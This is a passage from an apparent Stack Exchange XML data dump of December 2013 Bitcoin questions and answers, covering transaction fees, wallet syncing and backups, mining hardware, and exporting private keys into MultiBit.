0.2 mBTC (0.0002 BTC) would be added to a 1001 byte transaction. Users may increase the default 0.0001 BTC/kB fee setting, but cannot control transaction fees for each transaction. Bitcoin-Qt does prompt the user to accept the fee before the transaction is sent (they may cancel the transaction if they are not willing to pay the fee).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So this basically means that the fee increases as the transaction size increases. Considering this, it is not a good solution to add thousands of inputs and outputs to a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the best solution for a service like a market is to try to make as much as possible free transactions. A typical single-input-single-output transaction is 500 bytes. When you always use the oldest outputs available in your hot wallet pool, you can try to always create 10KB transactions that are free.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-03T22:36:35.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17895" PostTypeId="2" ParentId="17848" CreationDate="2013-12-03T22:47:47.560" Score="3" Body="&lt;p&gt;As the name &quot;exchange&quot; suggests, an exchange does not buy or sell bitcoins themselves. They merely function as an exchange between sellers and buyers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you will have to do is wait for people to start trading. But people won't come by themselves, so you will have to give users a reason to come to you instead of an existing exchange. It may also help to trade on your own site in the beginning both to not completely rely on new user's transactions and to generate some trade volume.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-03T22:47:47.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17896" PostTypeId="2" ParentId="17857" CreationDate="2013-12-03T22:51:58.170" Score="1" Body="&lt;p&gt;There is not a single available solution to go to a general VISA/MC/AMEX card in the US today. Money Transmitter laws (and a host of other regulations) make this a very difficult proposition at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other countries don't have the same issues today, like Canada &lt;a href=&quot;http://paymentweek.com/2013-11-4-canada-introduces-bitcoin-debit-card-services-238461/&quot; rel=&quot;nofollow&quot;&gt;http://paymentweek.com/2013-11-4-canada-introduces-bitcoin-debit-card-services-238461/&lt;/a&gt; but these solutions are also still in development.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-03T22:51:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17897" PostTypeId="2" ParentId="17887" CreationDate="2013-12-03T23:11:01.970" Score="12" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=267618.0&quot; rel=&quot;noreferrer&quot;&gt;This guy&lt;/a&gt; wanted to do the same thing. You can find a solution there.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;in short:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get a Linux Box/VM with &amp;gt;=8GB RAM&lt;/li&gt;&#xA;&lt;li&gt;download &lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;noreferrer&quot;&gt;blockparser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;compile it&lt;/li&gt;&#xA;&lt;li&gt;run &amp;quot;./parser allBalances  -w 250000 &amp;gt;allBalances.txt&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;the parser run take around 2 minutes on my vSphere VM (2x3Ghz Xeon, 16GB of RAM)&lt;/p&gt;&#xA;&lt;p&gt;now you have a list of the top 250.000 adresses sorted by BTC amount.&lt;/p&gt;&#xA;&lt;p&gt;add some sed/awk/cut magic to make a csv and you are done.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9563" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-12-20T03:14:26.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17898" PostTypeId="1" CreationDate="2013-12-03T23:19:33.357" Score="0" ViewCount="1184" Body="&lt;p&gt;I earned 0.4 BTC from constant mining. (I use 50BTC). So I clicked payout, and sent them all to my BlockChain account. It's been &quot;In Process&quot; for about 1 day. What's the problem here? Does it usually take this long? Is it because they got hacked recently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get these BTC to transfer? By the way, the BTC was removed from the 50BTC account, but it's not yet in the BlockChain. Is it suppose to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for being a noob, it's my first time with BTC.&lt;/p&gt;&#xA;" OwnerUserId="10048" LastEditorUserId="5406" LastEditDate="2016-04-25T21:30:19.103" LastActivityDate="2016-04-25T21:30:19.103" Title="My BTC is taking way too long to transfer" Tags="|mining-pools|unconfirmed-transactions|" AnswerCount="1" CommentCount="2" ClosedDate="2013-12-04T23:06:26.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="17900" PostTypeId="1" AcceptedAnswerId="17902" CreationDate="2013-12-04T00:09:07.627" Score="2" ViewCount="173" Body="&lt;p&gt;Suppose I have a certain number of bitcoins kept in cold storage. Is there way to prove that I control those coins, or any coins totalling a certain amount, to another party without transferring them?&lt;/p&gt;&#xA;" OwnerUserId="10053" LastActivityDate="2013-12-04T00:30:41.107" Title="Is there a way to prove control over specific number of BTC kept in cold storage?" Tags="|coldstorage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17901" PostTypeId="1" AcceptedAnswerId="17905" CreationDate="2013-12-04T00:18:23.403" Score="4" ViewCount="4401" Body="&lt;p&gt;What hardware would I need to buy to fit a normal PCI-E x16 card (In my case, a R9 280x) into a normal PCI-E x1 slot?&lt;/p&gt;&#xA;" OwnerUserId="10031" LastEditorUserId="5406" LastEditDate="2016-03-17T15:55:10.453" LastActivityDate="2016-03-17T15:55:10.453" Title="How do I fit a normal PCI-E x16 video card into a PCI-E x1 slot?" Tags="|mining-hardware|mining-setup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17902" PostTypeId="2" ParentId="17900" CreationDate="2013-12-04T00:30:41.107" Score="2" Body="&lt;p&gt;You can sign a message with your private key. But you would have to reveal your public key so that the signature is verified. But that kind of defeats the purpose of cold storage. You can just as well send a small amount from that address to the other party.&lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2013-12-04T00:30:41.107" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17903" PostTypeId="2" ParentId="17885" CreationDate="2013-12-04T00:34:10.670" Score="2" Body="&lt;p&gt;Are you thinking of public keys? The uncompressed public key consists of two values x and y. For a given x, there are only two possibilities for y, one even and one odd, so sometimes the public key is given just as the x plus a digit to indicate if the corresponding y is even or odd. This is the compressed form of the public key.&lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2013-12-04T00:34:10.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17904" PostTypeId="2" ParentId="16847" CreationDate="2013-12-04T00:34:11.507" Score="1" Body="&lt;p&gt;I think this is a viable idea and is worth exploring further, Are there any alt coins employing this function yet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been thinking about it for over a year now and see that with Bitcoin by having the early adopters hold a majority of coins helps to preserve the original protocol, as those invested in the system stand to lose the most if it is changed.    The result is as the Bitcoin network grows the protocol and clients side use of the network is strengthened by the coins that will remain with the preferred fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the normal distribution model facilitated by a logistic function, early adopters will not hold as much influence in keeping the original intent of the protocol intact, as early majority adopters will hold the most influence.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are possible alternates like a proof of stake, mining option that could be reworded for maintaining the original blockchain, and can be redeemed/ utilised as a stake to mine, thus regulating mining growth with that of maintaining the growth in bandwidth and storage. (allowing for 2 specialisations: 1) mining coins - 2) maintaining the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is when mining jumps significantly: 1) early adopters can sell their mining options (maintaining the original protocall) 2) the market demand to mine more is held in balance with bandwidth and storage growth. (making it more environmentally viable and allowing for greater decentralised block chain storage.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ie. the protocol stake holders are the ones who maintain the block chain. And to do a 51% attack you would have to strengthen the base network, I can imagine preventing modification of the block chain. &lt;/p&gt;&#xA;" OwnerUserId="1015" LastActivityDate="2013-12-04T00:34:11.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17905" PostTypeId="2" ParentId="17901" CreationDate="2013-12-04T00:47:49.147" Score="5" Body="&lt;p&gt;You need a PCI Express (PCI-e) x1 to x16 Riser adaptor cable like this one:&#xA;&lt;a href=&quot;http://www.trademe.co.nz/computers/cables-adaptors/other/auction-670675802.htm&quot; rel=&quot;noreferrer&quot;&gt;http://www.trademe.co.nz/computers/cables-adaptors/other/auction-670675802.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that some graphics cards draw a lot of power, and I've seen photos of cables that have overheated because they couldn't handle the load. The linked one above may have solved this issue by providing a separate power cable.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-12-04T00:47:49.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17906" PostTypeId="2" ParentId="17848" CreationDate="2013-12-04T00:57:39.080" Score="1" Body="&lt;p&gt;Surely the name &quot;Exchange&quot; suggests a place for changing one form of currency for another. e.g. exchanging US dollars for pounds sterling, Bitcoins for Euros etc. Therefore Yes, like any shop,  you must get some stock in order to trade&lt;/p&gt;&#xA;" OwnerUserId="10056" LastActivityDate="2013-12-04T00:57:39.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17907" PostTypeId="2" ParentId="13081" CreationDate="2013-12-04T00:59:12.523" Score="0" Body="&lt;p&gt;You need to run your node with &lt;code&gt;txindex=1&lt;/code&gt; to enable the indexing of unspent outputs. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-04T00:59:12.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17909" PostTypeId="1" AcceptedAnswerId="17913" CreationDate="2013-12-04T01:12:25.920" Score="0" ViewCount="356" Body="&lt;p&gt;I am looking at coding a Bitcoin trading exchange,  Would PHP be sufficient for an order matching engine?  The server would be load balanced with running MySQL.&lt;/p&gt;&#xA;" OwnerUserId="10060" LastEditorUserId="120" LastEditDate="2013-12-04T08:18:07.230" LastActivityDate="2013-12-04T08:18:07.230" Title="Bitcoin exchange language coding" Tags="|php|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-10T11:51:51.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="17911" PostTypeId="2" ParentId="16719" CreationDate="2013-12-04T01:25:55.937" Score="1" Body="&lt;p&gt;You can just import the watching-only wallet on system &quot;C&quot;.  In fact, no reason to remove it from system &quot;B&quot; (if you don't want to).  It's okay to have multiple &quot;watchers&quot; of a given wallet.  Moving the watching-only wallets around doesn't actually move the coins, it just changes which computers recognize coins for which the offline computer has signing authority.  &lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2013-12-04T01:25:55.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17912" PostTypeId="2" ParentId="10157" CreationDate="2013-12-04T01:33:53.503" Score="0" Body="&lt;p&gt;As Nick mentioned, I'm not a fan of encrypted paper backups.  Instead, I added &quot;Fragmented Backups&quot; to the new version (0.90-beta, posted a few days ago on the website), to give the user flexibility in balancing physical security &amp;amp; redundancy without the high risk of permanent coin loss.  After all, 95% of the emails we get are users who forgot their password.  Many of them didn't even realize that their paper backup protected them against that.  As far as I'm concerned, that's the number one reason to make it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, doing it this way does reduce physical security, but that's far from the biggest threat &lt;em&gt;to most users&lt;/em&gt;. If you are concerned about physical security, I recommend you explore the fragmented backup system in the new releases, which addresses these concerns in a robust and &quot;responsible&quot; way.&lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2013-12-04T01:33:53.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17913" PostTypeId="2" ParentId="17909" CreationDate="2013-12-04T01:35:55.153" Score="3" Body="&lt;p&gt;Yes, I have built exchanges with PHP and MySQL. I would also recommend Redis for caching.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-04T01:35:55.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17914" PostTypeId="2" ParentId="11990" CreationDate="2013-12-04T01:37:35.677" Score="3" Body="&lt;p&gt;We just release version 0.90-beta, which finally solves this issue.  Armory does &lt;strong&gt;not&lt;/strong&gt; need to rescan the blockchain anymore unless you import new private keys, or Armory experiences an unclean shutdown.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the exception of the first-time startup (to build the new databases), Armory should get into online mode within 10 seconds of Bitcoin-Qt/bitcoind finishing synchronization.  &lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2013-12-04T01:37:35.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17916" PostTypeId="2" ParentId="17898" CreationDate="2013-12-04T03:12:57.577" Score="0" Body="&lt;p&gt;Is the transaction showing on blockchain.info as unconfirmed, or not there at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's unconfirmed, just wait as it may be that the transaction included no or a minimal transaction fee which means it will take a while to be included in a block.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-04T03:12:57.577" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17917" PostTypeId="1" CreationDate="2013-12-04T03:26:27.110" Score="3" ViewCount="17376" Body="&lt;p&gt;I was wondering how I could mine peercoin - I already have experience mining Bitcoins and Litecoins, yet I can't seem to find any software where I can mine them - I would like to be able to mine them on my mac with a GPU, so any applications, or terminal commands would be a great help... I already have my Peercoin wallet and everything set up. I have tried CGMiner except in the recent update they completely dumped support for GPU mining.&lt;/p&gt;&#xA;" OwnerUserId="10066" LastEditorUserId="5406" LastEditDate="2016-04-10T10:32:16.843" LastActivityDate="2019-10-17T08:33:50.247" Title="How can I mine PeerCoin?" Tags="|miner-configuration|peercoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17918" PostTypeId="1" AcceptedAnswerId="18114" CreationDate="2013-12-04T03:28:42.730" Score="0" ViewCount="380" Body="&lt;p&gt;So basically I have a BLF non-Jalapeno variety 50Gh/s miner. I run cgminer and have recently been mining from ozcoin after eclipsemc was hit with a recent DDoS. &#xA;Normally, I have been clocking at around 46.xxG-50.xxG/50.xx-51.xxGh/s. Last night I noticed a bunch of incoherent errors pop up on my terminal window. About 5-8 lines long. The miner would stall out, it dropped to around 18.xxG/19.xxGh/s stuttered around that level for a few minutes then slowly climbed back up to the rather disappointing 36.xxG-39.xxG/37.xx-39.xxGh/s I have been seeing ever since.&#xA;I've poked around looking for reason for this, and maybe haven't poked hard enough, but I am at a loss. Any ideas on what is happening?&lt;/p&gt;&#xA;" OwnerUserId="10067" LastActivityDate="2013-12-10T13:56:43.893" Title="Sudden GH/s drop in BFL Miner" Tags="|asic|butterfly-labs|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17920" PostTypeId="1" CreationDate="2013-12-04T04:24:18.857" Score="4" ViewCount="2513" Body="&lt;p&gt;In an effort to &quot;track the chain&quot; I wonder if there are any Bitcoin web crawlers that specifically look for Bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following on to that question, are there any groups/volunteers/ people using that information to compile a dossier on who has what address?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2016-06-29T21:58:25.530" Title="Are there any Web Crawlers for Bitcoin addresses?" Tags="|blockchain|privacy|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17922" PostTypeId="1" AcceptedAnswerId="17932" CreationDate="2013-12-04T04:57:09.873" Score="0" ViewCount="154" Body="&lt;p&gt;If you create a new address in MultiBit, then transferred money to the new address before the wallet was backed up, then your hard drive crashed, will you lose the money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first Bitcoin client had 100 addresses, hidden. You could send to a new address and it was most likely already backed up. Does MultiBit do that?&lt;/p&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2013-12-04T08:38:55.163" Title="Sequence of events that can cause lost money in MultiBit" Tags="|multibit|backup|address-generation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17923" PostTypeId="2" ParentId="17820" CreationDate="2013-12-04T05:17:00.183" Score="1" Body="&lt;p&gt;It really depends on what happens to that original 85%-90%. If the developers really own that large an amount, they will always be able to corner the market if they work together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That idea troubles me, but I still buy Quarks because I see the value in the multiple hashing algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think perhaps 85%-90% is quite clever as it puts Quarks on the map a lot quicker. Right? I think this has helped them gain press attention to their increased security meassures, by becoming the 5th largest crypto-currency available. I'm thinking that's an effect of generating so much currency so quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect value to continue to come into Quark, especially after Bill Still and Max Keiser talk about it on the 19th, then again as the new financial year starts around the world and everyone has another panic attack about the state of the world economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is, after the value has increased for a while and flattened out (if it does), I would expect Quarks to be used as currency earlier than Bitcoin. If quarks go to a dollar in 2014, then that's a lot of currency already out there, and it's not so expensive for people to invest, and not such a big deal when you spend a Quark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original holders of that 80%-90% would be more insentivized to spend that currency into the market than if they held Bitcoin (assuming it does not rise too fast).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I really want to know, is how people arrive at the idea that the &quot;the developers&quot; own that much, and how they 80%-90% figure is arrived at. Are they meaning 3 developers, or do they mean 100 developers, 1000? It makes a big difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess we will have to wait and see if those original developers will put their Quarks where they mouths are and spend enough Quarks into the market on real goods and services, that they begin to circulate and become useful to everyone as a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see it, and I may be crazy, but those original developers would do themselves a huge favor if they got together and re-distributed a good portion of their monopoly as a PR exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would say a lot. And it would do a lot for Quarks as a currency to have a smooth distribution across the market.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2013-12-04T05:17:00.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17924" PostTypeId="1" CreationDate="2013-12-04T05:40:45.913" Score="1" ViewCount="518" Body="&lt;p&gt;Some months ago, I installed bitcoin-qt on Ubuntu, created a wallet and address, then transferred funds to it from MtGox. I let it sync up for over 10 days, but it never fully synced. So I exported a &lt;code&gt;wallet.dat&lt;/code&gt; file, then uninstalled bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, I installed MultiBit and imported the &lt;code&gt;wallet.dat&lt;/code&gt; file. It is empty. It has one address which shows no transactions or balance on blockchain.info. The wallet in bitcoin-qt had several addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened? Is there anything I can do to restore the files containing my bitcoin?&lt;/p&gt;&#xA;" OwnerDisplayName="user10074" LastEditorUserId="15412" LastEditDate="2014-06-17T21:51:44.040" LastActivityDate="2014-06-17T21:51:44.040" Title="Exported wallet.dat from bitcoin-qt. Then uninstalled bitcoin-qt. Now the wallet is empty!" Tags="|bitcoin-core|wallet.dat|lost-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17925" PostTypeId="1" CreationDate="2013-12-04T05:41:09.580" Score="2" ViewCount="3375" Body="&lt;p&gt;Please help! I look forward to your intelligent caring responses.&#xA;Here is the situation:&#xA;I'm trying to do the initial synchronizing of Bitcoin-QT, which hasn't progressed in 14 hours, and:&#xA;- Significant BTC has already been sent to an address generated by the wallet.&#xA;- My primary objective is to receive the BTC that was sent to me. If Multibit is a sufficiently secure/etc wallet alternative, I do not care about completing the sync process in order to use Bitcoin-QT &lt;strong&gt;** - I just want to effectively receive the BTC that has already been sent.**&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the past 14 hours, there has been NO progress in the synchronization (after some progress in the time proceeding that). (The # of blocks processed has stayed the same, but the estimate of total blocks fluctuates - what i mean is, where it says &quot;Processed 'x' of 'y' (estimated) blocks of transaction history&quot; - the 'x' (i.e. blocks actually processed) has stayed the same for 14 hrs, the 'y' of estimated total blocks has fluctuated (sometimes larger, sometimes smaller).) - The golden arrow wheel on the bottom right is also not turning at all.&lt;/li&gt;&#xA;&lt;li&gt;Also the following warning message is at the top of the Overview page: &quot;Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Background on this: the whole synchronization was started over 24 hours ago, but in the middle of night Bitcoin-QT crashed. (I think the warning message appeared after the program crashed &amp;amp; was restarted.) Whenever I restart Bitcoin-QT, it takes 5 minutes of rainbow-wheel loading on &quot;verifying blocks&quot; on initial bitcoin-version screen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(other info if relevant to resolving this: the machine is a Mac, Snow Leopard; Bitcoin-QT v.0.8.5-beta&#xA;-- The progress bar shows about 1/8th complete. That has also not budged in 14 hours.&#xA;-- I did try this on a different and faster internet connection/network for about 5 hours with same result except the last bar on the right did not go green like on my regular internet connection.&#xA;-- I do have the original .dmg download file if that's of any help.&#xA;-- I have restarted both Bitcoin-QT and the computer a # of times.&#xA;-- When the progress was actually happening yesterday before the program crashed, the arrow-wheel was turning and there was no warning message.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically the questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it actually synchronizing even though there have been NO signs of further progress for at least 14 hours &amp;amp; a Warning message has appeared?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;What is the most effective - and secure - way for me to actually receive the BTC that were sent to me to this Bitcoin-QT wallet-generated address? Should I ditch trying to synchronize and try to receive them through something like Multibit? (Even if the initial sync ends up happening I will likely ditch Bitcoin-QT anyway for something like Multibit, as long as it is sufficiently secure.)&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your help is appreciated! Neither the sender nor receiver of these bitcoins wants them to be lost due some sort of synchronizing malfunction, if that is what's going on.&#xA;I look forward to hearing from you, oh intelligent caring knowledgeable BTC users.&lt;/p&gt;&#xA;" OwnerUserId="10075" LastEditorUserId="10075" LastEditDate="2013-12-04T05:48:32.777" LastActivityDate="2014-03-04T16:50:05.013" Title="Need help! Initial sync not progressing, BTC sent already, + warning message" Tags="|bitcoin-core|synchronization|receiving|message|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17926" PostTypeId="2" ParentId="8486" CreationDate="2013-12-04T05:58:00.620" Score="-1" Body="&lt;p&gt;The bottom line is that if you mine BTC and sell them, you are a money transmitter and will be required to register with FinCEN and seek appropriate licenses in your state.&lt;/p&gt;&#xA;" OwnerUserId="9231" LastActivityDate="2013-12-04T05:58:00.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17929" PostTypeId="2" ParentId="17925" CreationDate="2013-12-04T06:40:14.977" Score="1" Body="&lt;p&gt;If you want to switch to Multibit, you can get the private key from the Bitcoin-Qt wallet using the debug console:  Help -&gt; Debug Window -&gt; Console.  Enter the command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dumpprivkey public-address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will list the private key associated with the public address you used to send the coins to your wallet.  You can then import this private key into a Multibit wallet by following this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5324/how-do-i-import-private-keys-from-bitcoin-qt-to-multibit-client&quot;&gt;guide&lt;/a&gt; to import a private key into Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep using Bitcoin-Qt, you can download the initial blockchain and then start Bitcoin-Qt to synchronize with the network.  Go &lt;a href=&quot;https://sourceforge.net/projects/bitcoinblockchain/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to download the initial blockchain.  Delete the 'blocks' and 'chainstate' folders in the bitcoin data directory and then unpack the downloaded file in the bitcoin data directory.  Start Bitcoin-Qt and it will rebuild the blockchain and then synchronize with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin data directory can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;,&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-12-04T15:08:39.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17930" PostTypeId="1" CreationDate="2013-12-04T06:44:37.890" Score="0" ViewCount="245" Body="&lt;p&gt;I've bought Bitcoins and had them directed to a wallet on the Bitcoin-Qt software. Unfortunately I was not aware of the sync process. And now I've got no access to the Btc's and I feel like the syncing will never happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running on Mac OS X 10.8.5&#xA;2.3 GHz Itel i7&#xA;16 GB Memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Bitcoin v0.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="10078" LastActivityDate="2014-03-04T14:49:49.843" Title="Re-indexing blocks taking more than a week - Cant access my wallet" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17931" PostTypeId="1" CreationDate="2013-12-04T08:27:15.293" Score="1" ViewCount="466" Body="&lt;p&gt;First time installed Multibit for mac and had my bitcoins transfered there. I had the software and wallet open for 2-3 days and decided to close the wallet. After closing i couldnt find the wallet in the application support folder. There was nothing related to multibit in that folder. Ive been trying to search .wallet files from the Finder but it comes up empty. Are my bitcoins gone for good?&lt;/p&gt;&#xA;" OwnerUserId="10082" LastActivityDate="2014-05-31T15:34:16.320" Title="Closed a wallet in Multibit mac and cant find it from application support" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17932" PostTypeId="2" ParentId="17922" CreationDate="2013-12-04T08:38:55.163" Score="1" Body="&lt;p&gt;When you create a new receiving address it is written to disk and backed up locally (ie on your disk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your disk was destroyed or stolen you would lose your bitcoin yes. This is why we recommend backups on another machine or USB drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no hidden key pool in MultiBit&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-12-04T08:38:55.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17933" PostTypeId="2" ParentId="3612" CreationDate="2013-12-04T08:44:32.370" Score="0" Body="&lt;p&gt;Yes, check out Bitcoin Transaction Coordinator for NetSuite.  &lt;a href=&quot;http://www.btc4erp.com&quot; rel=&quot;nofollow&quot;&gt;http://www.btc4erp.com&lt;/a&gt;.  And there is a free offer to work with NetSuite if you are a startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has built in pricing for Bitcoin exchange rates and will seamless allow accepting Bitcoin and paying bills.  It appears to be the first fully integrated platform.&lt;/p&gt;&#xA;" OwnerUserId="10085" LastActivityDate="2013-12-04T08:44:32.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17934" PostTypeId="1" CreationDate="2013-12-04T09:48:01.100" Score="0" ViewCount="730" Body="&lt;p&gt;I tried doing it using bitcoin-qt but it wouldn't let me. Is this to avoid blockchain spam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What clients would allow me to send that amount?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I have to pay fee if I send such a small amount?&lt;/p&gt;&#xA;" OwnerUserId="2976" LastActivityDate="2013-12-04T11:53:40.667" Title="Is it possible to send 0.00000001 BTC?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17935" PostTypeId="1" AcceptedAnswerId="17995" CreationDate="2013-12-04T09:49:28.390" Score="0" ViewCount="530" Body="&lt;p&gt;Mastercoin is based on Bitcoin, and has a very similar security model. However various parameters make the security different (some better, some maybe worse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly do they differ, security wise?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-04T23:34:20.537" Title="How is the security of Mastercoin different than that of Bitcoin?" Tags="|security|omni|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17936" PostTypeId="1" AcceptedAnswerId="17940" CreationDate="2013-12-04T10:14:14.857" Score="1" ViewCount="659" Body="&lt;p&gt;On Multibit, one of my transaction to Bitstamp is not confirmed since 5 days (Status icon displays a white square). Apparently the 0.0001 fee was paid. I don’t know where is the money neither what to do. &lt;/p&gt;&#xA;" OwnerUserId="2572" LastActivityDate="2013-12-04T11:50:54.433" Title="Transaction remains not confirmed" Tags="|transactions|confirmations|bitstamp|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
